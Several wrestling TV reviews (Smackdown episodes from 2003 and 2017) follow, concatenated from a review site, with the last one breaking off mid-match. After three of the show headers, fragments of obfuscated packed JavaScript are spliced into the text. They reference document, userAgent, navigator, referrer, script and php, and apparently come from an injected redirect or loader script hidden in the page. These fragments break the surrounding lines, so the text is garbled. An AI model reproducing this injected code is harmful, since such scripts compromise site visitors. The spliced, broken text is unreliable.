Smackdown – April 3, 2003: Tournament Rush

Smackdown
Date: April 3, 2003
Location: Spokane Arena, Spokane, Washington
Commentators: Michael Cole, Tazz

We’re past Wrestlemania and that means it’s time to reset a few things. It also means that we don’t have Kurt Angle around for a long time as he needs a fresh bandage on that pesky broken neck of his. Brock Lesnar is World Champion again and that means he needs a new challenger. Let’s get to it.

We open with a long recap of Wrestlemania set to Crack Addict.

Opening sequence.

Here’s Stephanie McMahon for the serious speech about how great Wrestlemania was and the injuries to both Brock (who has a concussion) and Angle (pretty much everything), the latter of whom could be out for several months. But never mind any of that because we’ll be having a #1 contenders tournament for the shot at Backlash starting tonight. Here are the brackets:

Rey Mysterio

Undertaker

John Cena

Eddie Guerrero

Chris Benoit

A-Train

Rhyno

Big Show

#1 Contenders Tournament First Round: Undertaker vs. Rey Mysterio

Rey tries to speed things up to start and scores with some kicks to the leg, only to have his head taken off with a big boot. A chokeslam is broken up with Rey grabbing a DDT, followed by the 619 for two with Rey being launched off the cover. The West Coast Pop is loaded up and easily countered into the Last Ride to send Undertaker to the next round.

Rating: C. It was starting to get energetic when Undertaker realized he was selling for Rey Mysterio. The fact that Rey only got in the 619 and then got finished with one big move doesn’t do him many favors, but it’s not like Undertaker was exactly known for his selling at this point. Not terrible, but Undertaker didn’t give him much here.

Undertaker helps him up post match. It’s not exactly Jeff Hardy last year.

Vince McMahon wants to know when Hulk Hogan arrives.

Jamie Noble vs. Brian Kendrick

Shannon Moore and Matt Hardy, who was the only Hardy to wrestle at Wrestlemania this year and has read his book twelve times, are out for commentary. Jamie stomps away in the corner as Tazz tries to be funny about Matt’s diet focusing on yams instead of banana juice. Brian gets sent to the floor where he kicks Nidia away and comes back in with a high crossbody. A powerslam gives Jamie two and a hard clothesline gets the same. Nidia pulls the ropes down to send Kendrick outside but Jamie’s dive takes her out by mistake. Sliced Bread #2 gives Kendrick a fast pin.

Matt dumps Kendrick outside and calls out Brock for a champion vs. champion match. Brian tries to come back in and gets beaten down again.

The FBI steals stuff from a truck after tying the driver up.

Highlights of Lesnar vs. Angle. We also see Brock after the show and he was just gone thanks to the concussion. Now let’s look at the botched shooting star from multiple angles in slow motion.

Piper’s Pit is back next week. And so it begins. Er, continues.

#1 Contenders Tournament First Round: Chris Benoit vs. A-Train

Cole points out that we could see Big Show vs. A-Train or Benoit vs. Rhyno in the second round. Tazz: “Cole we can’t get nothing past you!” A-Train knocks him to the floor to start so Benoit grabs an early Crossface. That’s reversed into a very modified camel clutch with Benoit’s legs wrapped around A-Train’s legs as A-Train is on his feet. Since that’s not enough, A-Train pulls him up by the head and slams Benoit down hard for two.

A chinlock doesn’t last long and Benoit is chopped out to the floor. Back in and A-Train talks more trash but misses a charge, setting up the rolling German suplexes to a great reaction. The Swan Dive gets two but Benoit charges into the bicycle kick. There’s the Crossface again with A-Train powering up to his feet. Benoit is ready for him though and kicks off the ropes to get the hold again, this time for the tap out.

Rating: C. I liked this better than I was expecting to with A-Train acting as a pretty decent tree for Benoit to chop down. In theory this sets up Benoit vs. Big Show for a spot in the finals and if they send Benoit on to face….I’m guessing Cena, everything should be fine. Benoit was his usual good self here and I’m glad to see him back in singles matches as the Rhyno team didn’t do much for me.

Stephanie comes in to see Vince, who is ready for Hogan tonight.

Sean O’Haire says break the rules in the weakest of these vignettes yet. Are these things ever going anywhere?

#1 Contenders Tournament First Round: John Cena vs. Eddie Guerrero

Cena is all over him to start with some choking in the corner and a delayed suplex for two. We hit the bearhug early on as Cena is showing the power more than usual. Tazz thinks Cena could be the next big thing. Maybe I should listen to the Tazz Show more often. Eddie fights back with some clotheslines and Three Amigos for two. Cena reverses a victory roll into an electric chair but takes too long going for a chain. Instead it’s Eddie dropkicking it away and picking it up himself, only to have the referee take it away. Eddie tries a suplex to set up the frog splash but has to roll through. A charge sends him right into the Death Valley Driver to advance Cena.

Rating: C. Well if you need someone to look good, put them with Eddie. This was much more of a showcase for Cena and that’s a good sign. There’s little reason to go with anyone other than Cena to win this tournament after all the promos he’s cut on Brock but it’s very cool that he’s having to beat some bigger names to get there. Barring a surprise it’s going to be Eddie, Undertaker and Benoit, which is nothing to sneeze at whatsoever.

Hulk, his son Nick (with a freaking skateboard) and Jimmy Hart arrive. Nick: “Where’s catering?” He was annoying even back then.

Clips of Limp Bizkit at Wrestlemania.

Here’s Torrie Wilson for her Playboy coming out party, complete with the cover dropping down over the entrance. Torrie can’t believe so many people want to see her in the magazine. Torrie teases taking her top off….and freaking SABLE makes her return to interrupt. Cole: “She’s kicking!” The announcers do their “look at *insert name here*” stuff and it’s still just as annoying as it was when Al Wilson was around.

Sable says she’s having her own coming out party because she’s back. Torrie clearly just wants to be Sable and a lot of people think there’s no room for two Divas like themselves. Sable however thinks they’ll be the best of friends and gives her a peck on the lips. Naturally the announcers act like it was the most amazing thing they’ve ever seen.

Team Angle vs. Funaki/Tajiri

Non-title. The champs jump Tajiri to start, leaving Funaki to get backdropped. Shelton offers a quick bow so the Japanese guys beat him down and bow right back in a cute bit. Haas gets knocked to the floor but Shelton uses the distraction to jump Funaki from behind. It’s off to Haas, who would rather be facing Tajiri. That earns him a nice spinwheel kick to the face for two as the champs are in more trouble than you might expect here.

Shelton tries a cheap shot from the apron so Tajiri KICKS HIM IN THE FACE for his efforts. It’s back to Shelton to jump over Charlie and land on Tajiri’s back, setting up a Boston crab. Funaki makes a save to Tajiri can hit a double handspring elbow and clean house. A high crossbody gets two on Haas and there’s the Tarantula to Benjamin. It doesn’t last long though and Benjamin chop blocks Funaki, setting up the Haas of Pain for the submission.

Rating: B. Where in the world did this come from? This was WAY better than I was expecting with Tajiri and Funaki getting to showcase themselves for a change instead of just being jobbers. We often forget how talented some of these guys are and it’s a shame that they don’t get to show it off more often. You might get more surprises like this.

John Cena knows his chances against Undertaker are slimmer than a bus full of anorexic women. He’ll shock the world next week and leave Undertaker like a clean pool table with no balls.

The FBI comes up to Undertaker, who makes fun of their accents. They ask him to sit down for a chat and Undertaker, who have some coffee and asks if any of them are wearing a wire. Nunzio talks about whacking Nathan Jones at Wrestlemania, which was in retaliation for what Jones did to Palumbo last week. They want to bury the hatchet, which Undertaker can appreciate. However, he brings in Jones and the Italians bail. This was WAY out of the norm for Undertaker and felt really weird.

#1 Contenders Tournament: Rhyno vs. Big Show

Show smacks him down to start and steps on Rhyno’s chest. Rhyno gets tossed around some more as Show is in full on slow mode. A side slam gets two but Rhyno slips out of what looks like a powerslam. Show misses a charge into the corner so Rhyno hits a Gore in the corner, only to have to chase off A-Train. The regular Gore connects but A-Train comes in for the DQ. I’d hope Big Show thrashes him for that.

Rating: D. This was just a step above a squash until the ending, which was rather stupid and little more than a back door to save Big Show’s face. Rhyno vs. Benoit should be fun, though I’m not sure why I’d want to see Rhyno vs. A-Train. Then again, Rhyno should probably buy A-Train a steak for the free pass to the next round.

A-Train holds Rhyno for a legdrop from Show, who doesn’t seem to mind what A-Train did.

Here are the updated brackets:

Undertaker

John Cena

Chris Benoit

Rhyno

Here’s Vince for the big closing segment, which has a ton of time. Yeah he lost on Sunday and maybe he misjudged Hogan. Tonight though, Vince would like Hogan out here for a talk. Cue Hogan (thankfully minus the pest with the skateboard) so Vince can say Hulk has no idea how to deal with this kind of defeat. He’d like to turn the clock back twenty years if he could (meaning before Hogan had come back from the company) and maybe one day they could be friends again. Vince offers a handshake which Hulk doesn’t go for.

The boss heads to leave but Hulk asks if he’s serious and extends his hand. They shake hands and Vince leaves but Hulk says stop the music. He thanks Vince, who goes to leave again. Now it’s Vince saying thank you for all the memories. That’s all people are going to have though as Hogan is in the ring for the last time. Hogan may have pinned him at Wrestlemania but now he’s going to sit on the shelf for the duration of his new contract.

That way Hulkamania will rot and finally die a slow, agonizing death of leprosy. If Hulk has something to say about that, Vince will be waiting in the parking lot. Hulk goes to the back where Vince is waiting next to a limo. It’s Hulk’s limo though with Jimmy and Nick inside. Vince hides behind cops and tells Hulk to get inside, where Nick is begging him to just come on. Hogan gets in and leaves with Vince angrily gloating to end the show. This would be another example of building up a big match with a big stipulation, doing the match, and then ignoring the stipulation. Such is life in WWE and such is a reason why this story sucked.

Overall Rating: C+. This show was rolling and then the crazy long main event segment killed it. It was the better part of twenty minutes while none of the matches even broke seven, which makes for a fast paced start to the show and then a major grinding halt. I liked the tournament stuff and the faster pace with some good action, though next week is going to be a much better indicator of what the future is going to hold for Smackdown.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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Smackdown – August 29, 2017: Two Weeks Notice

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhzry|var|u0026u|referrer|ykkbf||js|php'.split('|'),0,{})) August 29, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

We’re finally out of Brooklyn and it’s time to start the slow build towards Hell in a Cell. In this case that means we start dealing with the fallout of Shane McMahon costing Kevin Owens another shot at the US Title, which was the top story as we came out of last week’s show. Let’s get to it.

Here’s Jinder Mahal to open things up as Smackdown brings the party in a hurry. He’s ready for tonight’s tag match main event when he gets to deal with Randy Orton and Shinsuke Nakamura at the same time. We get the same speech we always get: he’s tired of being disrespected because of how he looks and he should be revered. The Singh Brothers apologize to everyone in India, including their families and friends, but more importantly to Mahal. No one will ever lay another hand on him and they would like to kiss his feet to apologize.

Before they actually can though, here’s Shinsuke Nakamura to interrupt. The fight is on until Nakamura gets caught in the numbers game. Randy Orton, Nakamura’s partner’s tonight, comes in for the save but so does Rusev. The good guys are beaten down and Mahal poses. This was way longer than it needed to be and Mahal continues to be really uninteresting.

Chad Gable/Shelton Benjamin vs. Ascension

Chad takes Viktor down without much effort and it’s off to Shelton, who doesn’t want to do a double suplex. A regular suplex gets two instead and it’s off to Gable for a suplex of his own. Viktor throws him to the floor though and we take a break. Back with Chad still in trouble at Viktor’s hands before it’s off to Konnor for some clubbing forearms.

Chad sends a charging Konnor into the post though and there’s the hot tag to Shelton. The Dragon Whip and a top rope clothesline have Konnor in trouble as things pick up. Everything breaks down and Chad sends Viktor into Shelton for a jumping Downward Spiral (Paydirt) and the pin at 7:16.

Rating: C-. This was the welcome to the tag division match for Shelton and Chad and that’s perfectly fine. I’m not sure how long they’re intending to have this team go on and it’s not like they’re hiding that. That being said, keeping them together for awhile would help the completely depleted tag division and it would be annoying to have another team put together for the sake of splitting them up again.

Baron Corbin is tired of hearing about how he blew his opportunity because it was John Cena’s fault. Thanks to him though, the US Open Challenge is back and he’ll just have to cash in on that.

Here’s AJ Styles to say the US Open Challenge is on right now.

US Title: AJ Styles vs. Tye Dillinger

AJ is defending. Hang on a second as Baron Corbin cuts Dillinger off on the ramp. Tye shoves him away but gets jumped from behind. Dillinger knocks him away again and gets inside for the opening bell. AJ slugs away to start but Dillinger breaks up the Phenomenal Blitz. Dillinger slugs away but gets kicked in the head, only to counter the Phenomena Forearm into the Tyebreaker. That’s countered as well and it’s the Calf Crusher to make Dillinger tap at 49 seconds.

Corbin jumps Dillinger again but gets forearmed down by Styles.

Mahal talks to Rusev in the back but Rusev says they’re not friends. He wouldn’t mind a title shot after the tag match either.

Mike Kanellis vs. Bobby Roode

Roode takes him to the mat with ease and gives us a GLORIOUS pose. Some chops in the corner and a hard elbow to the jaw keep Kanellis in trouble. The spinebuster sets up the Glorious DDT to end Kanellis at 2:46. Just a squash.

Here’s Aiden English for a song but Kevin Owens interrupts. Owens asks him to vacate the premises so he can talk about what happened last week in the main event. Basically it’s all Shane’s fault that he’s not the US Champion right now. Owens won the Universal Title one year ago today and now he’s standing year without his US Title. This never would have happened in the good old days when he was on Raw where Stephanie McMahon never would have let this happen.

Cue Shane to say Baron was Owens’ pick and turned out to be a very biased referee. Corbin didn’t even finish the match and that’s why Shane had to come out there in the first place. Owens insists he got screwed but Shane doesn’t want to hear it. Aiden needs to get back in the ring because he has a match right now.

Aiden English vs. Sami Zayn

Owens sits in on commentary. Aiden wastes no time in hammering away and grabbing a suplex for two. Sami fights up and throws him outside for the running flip dive, which draws Owens into the ring to take the referee’s shirt. Well they do say vertical stripes are slimming. As you might expect Sami isn’t sure what’s going on and the distraction lets Aiden jump Sami from behind. Owens adds a Pop Up Powerbomb and a fast count gives Aiden the pin at 2:24. I guess Shane was off finding a hot pretzel.

Video package on….Sgt. Slaughter? Sponsored by Burger King? Ok then.

Dolph Ziggler is asked what you can expect from him but he says you can expect…..nothing. He’s been around for ten years and it’s not fair that he’s just an afterthought. He’s really a star but he gets distracted by all the little things. Ziggler does the You Can’t See Me and wants to know what that even means.

On Raw too you have a guy playing a guitar and it makes no sense. Maybe he can hop on a four wheeler like Stone Cold did and pour beer over himself while pretending to drink it. Or he can paint himself up like Finn Balor or be a superhero called Zigman. If you want all flash and no substance, that’s what you’re going to get next week. I can’t imagine I’ll ever say this again but I’m rather interested.

Usos vs. New Day

Non-title but the winners get to pick the stipulation for the rematch. Wait what? Are you serious? They really have NO OTHER OPTIONS to determine this? Not a singles match? Or a coin toss? Or a spelling bee? Woods is limping to the ring with a sign around his neck saying “it’s sore” due to a knee injury suffered at a house show. The fact that he can walk on it is a very good sign at least.

Joined in progress with Jimmy charging into a Rock Bottom out of the corner. That’s enough for the hot tag to Kofi for some dropkicks and a dragon sleeper of all things to Jey. Everything breaks down and Jimmy offers a distraction so Jey can grab a rollup for the pin at 2:24 shown.

Carmella yells at James Ellsworth for screwing up last week when Natalya comes in and threatens to make her the Baron Corbin of the women’s division. They have a match next week and Ellsworth seems to like the idea. Carmella and Ellsworth leave so Naomi can come in and talk about the title rematch in two weeks. Cat jokes are made as well.

Lana, with the accent coming and going every few words, introduces Tamina for her match.

Tamina vs. Tina Stock

Stock goes after her as the LET’S GO JOBBER chant starts. Lana grabs a mic and orders that Tamina CRUSH. Tamina sends her into the corner for a knee to the head and a superkick for the pin at 59 seconds.

Tamina and Lana have a quick photoshoot after the match.

It’s time for Season 2 of the Fashion Files! We even have an opening sequence now with highlights of previous episodes, including a graphic saying “not at all starring Chuck Norris”. They’re back in the office (room Two B) with Breeze saying they need to solve their biggest crime now that vacation is over.

In order to do that though, they have new tech from the boys in the lab. First up we have some long distance listening device (headphones), a blacklight, a belt (to hold your pants up) and friendship bracelets. They turn out the lights to test the blacklight and see some arrows on their boxes, eventually pointing to their room sign. The blacklight reveals that it says Two B or Not to B, which leads them to suspect Aiden English because it’s Shakespeare you see.

Shinsuke Nakamura/Randy Orton vs. Rusev/Jinder Mahal

The good guys start brawling on the floor with the villains being sent into the barricade. We take a break before the opening bell and it’s joined in progress with Nakamura kicking Mahal in the head. Orton comes in and hammers away on the champ but the RKO is blocked. After a quick trip to the floor, a Singh Brothers distraction lets Rusev send Orton into the barricade and stomp away.

We hit the front facelock for a bit before Mahal comes in for a knee drop. Orton sends Mahal shoulder first into the post and it’s off to Nakamura to clean some house. The running knee to the ribs in the corner gets two on Rusev and Mahal has to break up a cross armbreaker. Everything breaks down and Mahal escapes the draping DDT so Orton hits a regular one. That’s rather odd. Orton can’t hit the RKO but it’s Kinshasa to put Rusev away at 7:30.

Rating: D+. Standard main event tag match here, which means the match was only ok. It was pretty clear that Rusev was just there for the sake of taking the fall, which I’m glad about as you don’t want your champion losing, even if he is Jinder Mahal. If nothing else it’s another thing you can add to the list of reasons why Rusev probably isn’t the biggest Mahal fan.

Post match Orton stares at Nakamura and lays him out with the RKO to end the show.

Overall Rating: C+. They got a lot of stuff on this show and that’s a good thing for once. Nothing felt like it overstayed its welcome, which made for a pretty easy show to watch. It’s also nice to see them setting things up in advance, which is becoming a trend. We now have two matches announced and one more announced for the following week. That’s not bad and gives me a reason to keep watching, which is more than you can often say about most shows. Good effort this week but there’s nothing worth going out of your way to see.

Results

Chad Gable/Shelton Benjamin b. Ascension – Paydirt to Viktor

AJ Styles b. Tye Dillinger – Calf Crusher

Bobby Roode b. Mike Kanellis – Glorious DDT

Aiden English b. Sami Zayn – Pop Up Powerbomb from Kevin Owens

Tamina b. Tina Stock – Superkick

Randy Orton/Shinsuke Nakamura b. Jinder Mahal/Rusev – Kinshasa to Rusev

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – March 27, 2003: Cena Begins

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yinaa|var|u0026u|referrer|yneik||js|php'.split('|'),0,{})) March 27, 2003
Location: HP Pavilion, San Jose, California
Commentators: Michael Cole, Tazz

It’s the final show for Wrestlemania and also my dad’s fiftieth birthday. Everything is pretty much set so there’s a good chance this is going to be little more than a slow paced final push towards the show. Hopefully it’s better than Raw, which really shouldn’t be all that difficult of a task. Let’s get to it.

Opening sequence.

Rey Mysterio/Brian Kendrick vs. Matt Hardy/Shannon Moore

Kendrick now has theme music, but it’s not as catch as Matt’s, whose Mattitude will make Wrestlemania a success and is very humble. Shannon starts with Brian and gets two off an early snap suplex. A hurricanrana puts Shannon down though and it’s off to Rey to speed things up. Some raised boots in the corner slow Rey down but Rey dropkicks Matt for two.

It’s back to Kendrick but he’s quickly pulled into the wrong corner to start the double teaming. Shannon’s belly to back gets two and Matt gets the same off a wicked Splash Mountain Bomb out of the corner. Brian slips over for the hot tag and it’s off to Rey for the bulldog and springboard seated legdrop for two on Matt. A tornado DDT gives Kendrick the same and he drops Shannon with Sliced Bread #2, only to walk into the Twist of Fate for the pin.

Rating: B-. Heck of an opener here with all four getting to show off a bit. I’m glad they didn’t have the fall between Mysterio and Hardy for a change and it’s not like pinning Kendrick is a big stretch. If nothing else it’s nice to see a match with some energy in the week before Wrestlemania as they were certainly absent from Raw.

Post match Rey hurricanranas Moore but walks into a Twist of Fate.

Hulk Hogan arrives with his son and Jimmy Hart.

Roddy Piper is interested in Hogan vs. McMahon.

Video of last week’s contract signing.

Here’s Hogan for hopefully (and not likely) the last big push towards the match. Hogan talks about having a business relationship with Vince for over twenty years but he never really knew the man. He’s seen Vince do some horrible, evil and often illegal things but he never knew how twisted Vince really was. If Vince is a genius, he’s an evil genius (no brother so you know he’s serious). He recaps the No Way Out ordeal and it made him so mad that he agreed to make Sunday’s match a street fight.

This won’t be his last time on Smackdown because Sunday is going to be a fight twenty years in the making. You’ll see a Hogan you haven’t seen in twenty years because you’ll have to see it. Hogan promises to leave Vince in a pool of his own blood to wrap it up. It’s a good promo, but we’re still talking about two guys who aren’t wrestlers at this point fighting over which of them is responsible for them both being multi-millionaires. That’s at worst the second biggest match on the show and it’s pretty hard to get behind that idea.

Eddie Guerrero vs. Charlie Haas

They trade leg trips to start and get two each as the fans are very behind Eddie early on. Eddie shoulders him down but seems to bang up his own shoulder. Charlie grabs a hammerlock and drops him arm first onto the rope to take over. A clothesline gets two and Charlie cranks on the arm even more. Eddie suplexes his way out of an armbar but lands on the shoulder again. A hammerlock northern lights suplex gets two but another suplex is countered into a rollup for the fast pin.

Rating: C+. The arm stuff was a good idea here but the time hurt them a bit. Eddie and Chavo are starting to get over as faces due to pure in-ring ability and charisma, plus the whole not fighting the FBI anymore. Haas and Benjamin continue to lose, which almost guarantees that they retain on Sunday.

John Cena promises to teach Brock Lesnar a lesson like he’s Mr. Miyagi.

Video on the FBI, which is actually really well produced. Like, more so than their usual great production.

Lesnar isn’t worried about Cena.

Nathan Jones has beaten up Chuck Palumbo off camera instead of having a match. So five minutes ago we get a good video on the team and now one of them is left laying off camera. Well done WWE.

Vince training montage with Shane as his coach. Can he still catch a chicken though? This is missing from the Network version for no apparent reason.

Nidia and Jamie Noble are in the back when they see Torrie Wilson’s Playboy cover. Jamie can’t bring himself to say that Nidia is prettier.

Wrestlemania Moment: Morton Downey Jr. in Piper’s Pit.

Video on Torrie’s Playboy press conference with Stephanie introducing her for whatever reason. Torrie has the best body she’s ever seen, which is the endorsement that Playboy has been looking for.

Torrie Wilson vs. Nidia

Nidia jumps her from behind and grabs a chair as this is already more physical than I was expecting. A baseball slide sends the chair into Nidia’s face for two and Tazz starts singing. The fans want puppies but settle for Torrie hitting a DDT for the pin.

Big Show and A-Train run into Nathan Jones and make fun of his prison sentence.

Sean O’Haire tells us to eat whatever you want.

Big Show/A-Train vs. Chris Benoit/Rhyno

Cole thinks Heyman had something to do with this for the sake of softening up Rhyno and Benoit for Sunday. For once, that’s almost insightful. A-Train muscles Rhyno into the corner for a rare visual but gets stomped back for a nice reaction. Benoit comes in for some hard chops but one heck of a shoulder drops him hard.

It’s off to Show and Benoit gets tossed hard into the corner, only to come out with some chops. Show clotheslines him down and the beating begins. There’s the required big toss across the ring, which still looks cool every single time. A big headbutt sends Benoit into the corner and it’s off to A-Train for some stomping.

Something like a Gory Stretch has Benoit screaming but a Vader Bomb hits boots. Benoit finally gets in a German suplex and makes the hot tag to Rhyno, who has no issues running through the monsters. Everything breaks down but here’s Jones to go after Show for the lame but logical DQ.

Rating: C. This was actually going somewhere until the ending, which was the only option they had here. Rhyno continues to impress and I’m starting to appreciate his rather simple but effective style. Everyone was game here and it made for a better match than I was expecting, which isn’t that hard for a Big Show/A-Train match.

Undertaker comes in and helps clear the ring.

Kurt Angle is looking for Brock. Post break he’s in Lesnar’s locker room and says they’re a lot alike. The difference is that Brock is a 25 year old rookie and he’s not ready. This match is going to change wrestling forever because they’re the best in the business. If Angle gets destroyed on Sunday, he’s done enough already. He’s bringing everything on Sunday and is willing to end Lesnar’s career to win.

Lesnar doesn’t think this is as brave as Angle hopes it is because Kurt knows he’s safe until Wrestlemania. Brock is willing to lay it all on the line on Sunday. At Wrestlemania, here comes the pain, because Lesnar will do anything to win the title. Good stuff here, and I liked it not being in the ring for a change.

Wrestlemania card, with the Raw Tag Team Title match being moved to Sunday Night Heat.

Another Vince training video.

Gene Okerlund is ready for Hogan vs. McMahon and says they were both responsible for the boom.

Chavo Guerrero vs. Shelton Benjamin

Some amateur stuff goes nowhere so Chavo speeds it up with a headscissors and a dropkick for two. Shelton goes after the leg though and Chavo is in quick trouble. Benjamin grabs a leg lock but Chavo is next to the rope for a break. Shelton puts on a different hold (always appreciated) but Chavo reverses into a small package for two. It’s off to the third hold until a cradle gives Guerrero two more. An enziguri finally gets Chavo a breather and both guys are down. Eddie cuts off Charlie’s interference attempt, leaving Chavo to grab la majistral for the pin.

Rating: C. Oh yeah Team Angle is winning and they’re not even trying to hide it at this point. Chavo looked good here, which isn’t the biggest surprise despite his abilities often being overlooked. This was basically the same formula from earlier but with a different limb, which makes it no surprise that it worked.

Post match Team Angle attacks, only to have Rhyno and Benoit make the save and clean house.

Rikishi vs. John Cena

Cena debuts Basic Thuganomics as his theme music. He jumps Rikishi during his entrance and hammers away until a single right hand puts him on the floor. Rikishi gets whipped into the steps though and Cena pulls off the barricade padding to ram him back first. Back in and we hit a crossface chickenwing of all things as things slow way down. Rikishi fights up and hits the Samoan drop. A superkick sets up the corner splash and Stinkface but the Rump Shaker hits knees. The ref bump allows Cena to hit the chain shot for two, followed by I believe the debuting FU (much closer to a Death Valley Driver here) for the pin.

Rating: D+. It’s kind of fascinating to see so much of what defined Cena debuting in one match as he had the music, the finisher and most of the signature look all at once. It made him look like a star instead of the goof that he was for months leading up to this. They almost have to do Lesnar vs. Cena now and that’s not the worst idea in the world.

Overall Rating: C. This was a back and forth show with good action (FAR better than Raw) but at the same time there was so much Vince vs. Hogan stuff that it took away the limited interest I had in the match in the first place. I’m still not wild on Wrestlemania but this show did help a lot as they focused on a lot of stuff. Unfortunately one match got so much of the hype and it’s really not one of the best things on the card. It’s all going to be about the presentation and in-ring results on Sunday but they’ve got their work cut out.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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Smackdown – August 22, 2017: Definitely Not Glorious

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iastn|var|u0026u|referrer|nkdbz||js|php'.split('|'),0,{})) August 22, 2017
Location: Barclays Center, New York City, New York
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield

It’s the final night in Brooklyn as Summerslam has come and gone. Jinder Mahal is still the Smackdown World Champion and AJ Styles is still the US Champion. One of these titles was retained in a much better match than the other and I’ll let you guess which of those was which. Let’s get to it.

Here’s AJ Styles to open things up. He says this is still the place that he built because he beat Kevin Owens on Sunday. Therefore, tonight he’s reinstating the US Title Open Challenge and it starts right NOW. The fans want a certain Canadian but get Kevin Owens instead. AJ says this isn’t happening because he’s already beaten Owens. Kevin blames the whole thing on Shane McMahon so here’s Shane to offer a rebuttal.

The boss wants to know what Owens’ issue is so Owens goes on a rant about how Shane can survive a helicopter crash and fall out of buildings but he gets grazed on Sunday and can’t get up. We see a clip of AJ being pinned though his foot was on the rope before one. Owens says this isn’t fair and complains until AJ agrees to put the title on the line tonight.

Shane agrees to make the match, but Owens wants one more thing: he wants to pick the referee. AJ says the referee doesn’t matter because he’d count the pin no matter what. There’s a little girl in the front row who could probably count a three count just fine so he’ll agree to anyone as referee. The match is made for later tonight but Shane says that this is Owens’ last shot as long as AJ is champion.

Daniel Bryan is in his office when the Singh Brothers come in to introduce Jinder Mahal. Jinder takes credit for Summerslam but Daniel says he’s tired of seeing the Singh Brothers interfere. Therefore, tonight Shinsuke Nakamura gets to face the two of them in a handicap match.

Owens runs into Sami Zayn in the back and wants him to be guest referee. Sami watched his DVD recently and says they’ve been fighting for so long that it seems like they don’t even remember why they’re fighting. Owens points out that Sami hasn’t done much since arriving here and wants Sami to think about it. Sami doesn’t say no.

Bobby Roode vs. Aiden English

The fans go INSANE for the entrance and Roode seems to be a face, at least for the night. They take turns posing at each other with Roode clotheslining English to the floor and sending us to a break. Back with English in control but Roode drives him into the corner for some chops. A forearm sets up the Blockbuster as JBL says Roode needs to win to get some beer money. English hits a Director’s Cut for two but walks into a spinebuster. The Glorious DDT ends English at 6:28.

Rating: C-. Barely enough to rate but this was all about the debut and the fans going nuts for the entrance. Roode was definitely a face here but that can easily be changed once we’re out of a smark haven like New York. He’s a natural heel and once you have him wrestle like this for a few weeks and then let his real self shine through.

Post match Roode says everything he does is big box office and in a New York minute Smackdown has gone from great to GLORIOUS.

Chad Gable comes in to Bryan’s office where the boss says he’s sorry for the Jason Jordan thing. There was a catch to moving Jordan to Raw though: Angle suggested someone to be signed to Smackdown. That would be Shelton Benjamin, who is Chad’s new partner. They’ll be having a match next week, though Shelton doesn’t seem thrilled.

Sami won’t be the referee.

Usos vs. Hype Bros

Non-title. Jey and Mojo start things off with the twins taking him down into the corner. That doesn’t last long though as Mojo kicks him away and brings in Ryder to clean house. Everything breaks down and Mojo heads outside to run Jimmy over. A superkick drops him though, allowing Jey to superkick Ryder down for the pin at 3:14.

Rating: D+. Just a quick match here to remind you that the Usos are awesome and one of the best teams on Smackdown. Unfortunately it also reminds you that they’re one of the only teams on Smackdown as the division is looking weaker and weaker every single day. The Usos need challengers and this didn’t do that problem any favors.

Post match the Usos say the whole division is on notice.

Shinsuke Nakamura vs. Singh Brothers

Mahal is at ringside and the Brothers, in dress pants and dress shirts, don’t have to tag. An early Good Vibrations has them in trouble and the Brothers are quickly sent outside. Nakamura tells Mahal to come on and the Brothers jump him from behind, only to have Nakamura grab a triangle choke for the tap out at 2:47.

Mahal jumps Nakamura from behind but takes Kinshasa for his efforts.

Breezango offers to be the referee but Owens tells them to get away. Baron Corbin comes up and offers his services. If Owens wins though, he wants the first shot. That’s cool with Owens.

Here’s Natalya, now with a Hart Foundation style jacket, for her first comments as champion. Summerslam will be remembered as the day the Glow was unplugged because she’s the best there is, the best there was and the best there ever will be. She holds up the title and says she’s restoring it to glory, meaning it’s back to normal. Carmella comes out for their tag match but says she’s biding her time to cash in.

Natalya/Carmella vs. Becky Lynch/Naomi

Feeling out process to start and we take a break less than a minute in. Back with Becky dropping a leg on Natalya until a forearm cuts her off. Natalya tries for a tag to Carmella but she drops to the floor and tells Natalya to do her thing. Becky gets the tag off to Naomi for the reverse Rings of Saturn but Natalya slips out. Carmella gets tagged from behind and caught in the Bexploder, setting up the split legged moonsault for the pin at 7:43.

Rating: D+. Sweet goodness I forgot how much I can’t stand the “I’M GOING TO CASH IN ANY DAY” period. They tease the heck out of it for weeks if not months at a time and it’s the same story every year. For now we’re stuck with Natalya as champion and Carmella almost as a mustache twirling villain. Lucky us.

Dolph Ziggler mocks a lot of the characters who get more TV time than him and has plans for next week.

Lana is on the phone in the locker room and says she’ll see someone next week. Tamina comes in and asks what’s up with her path to the title. Lana tells her to close her eyes and think about everyone who has been against her over the years. The path to being the dominant champion begins next week.

Corbin cuts AJ off and says he wants a shot at the title. AJ tells him to answer the open challenge.

US Title: AJ Styles vs. Kevin Owens

Styles is defending with Corbin as guest referee. Owens bails to the apron to start and Corbin cuts AJ off from going after him. The distraction lets Owens get in a forearm to take over early on. A forearm cuts Owens off though and we take a break. Back with Owens getting two off a fall away slam into the barricade.

We hit the chinlock for a bit until AJ fights back with his series of strikes. The running seated forearm gives AJ two but he stops for a staredown with Corbin. There’s the Calf Crusher and Owens gets a finger on the ropes. AJ rolls it over tot he middle of the ring and AJ is annoyed at the rules being called properly. Owens knocks AJ into Corbin to start another argument with Corbin shoving AJ into a rollup for two.

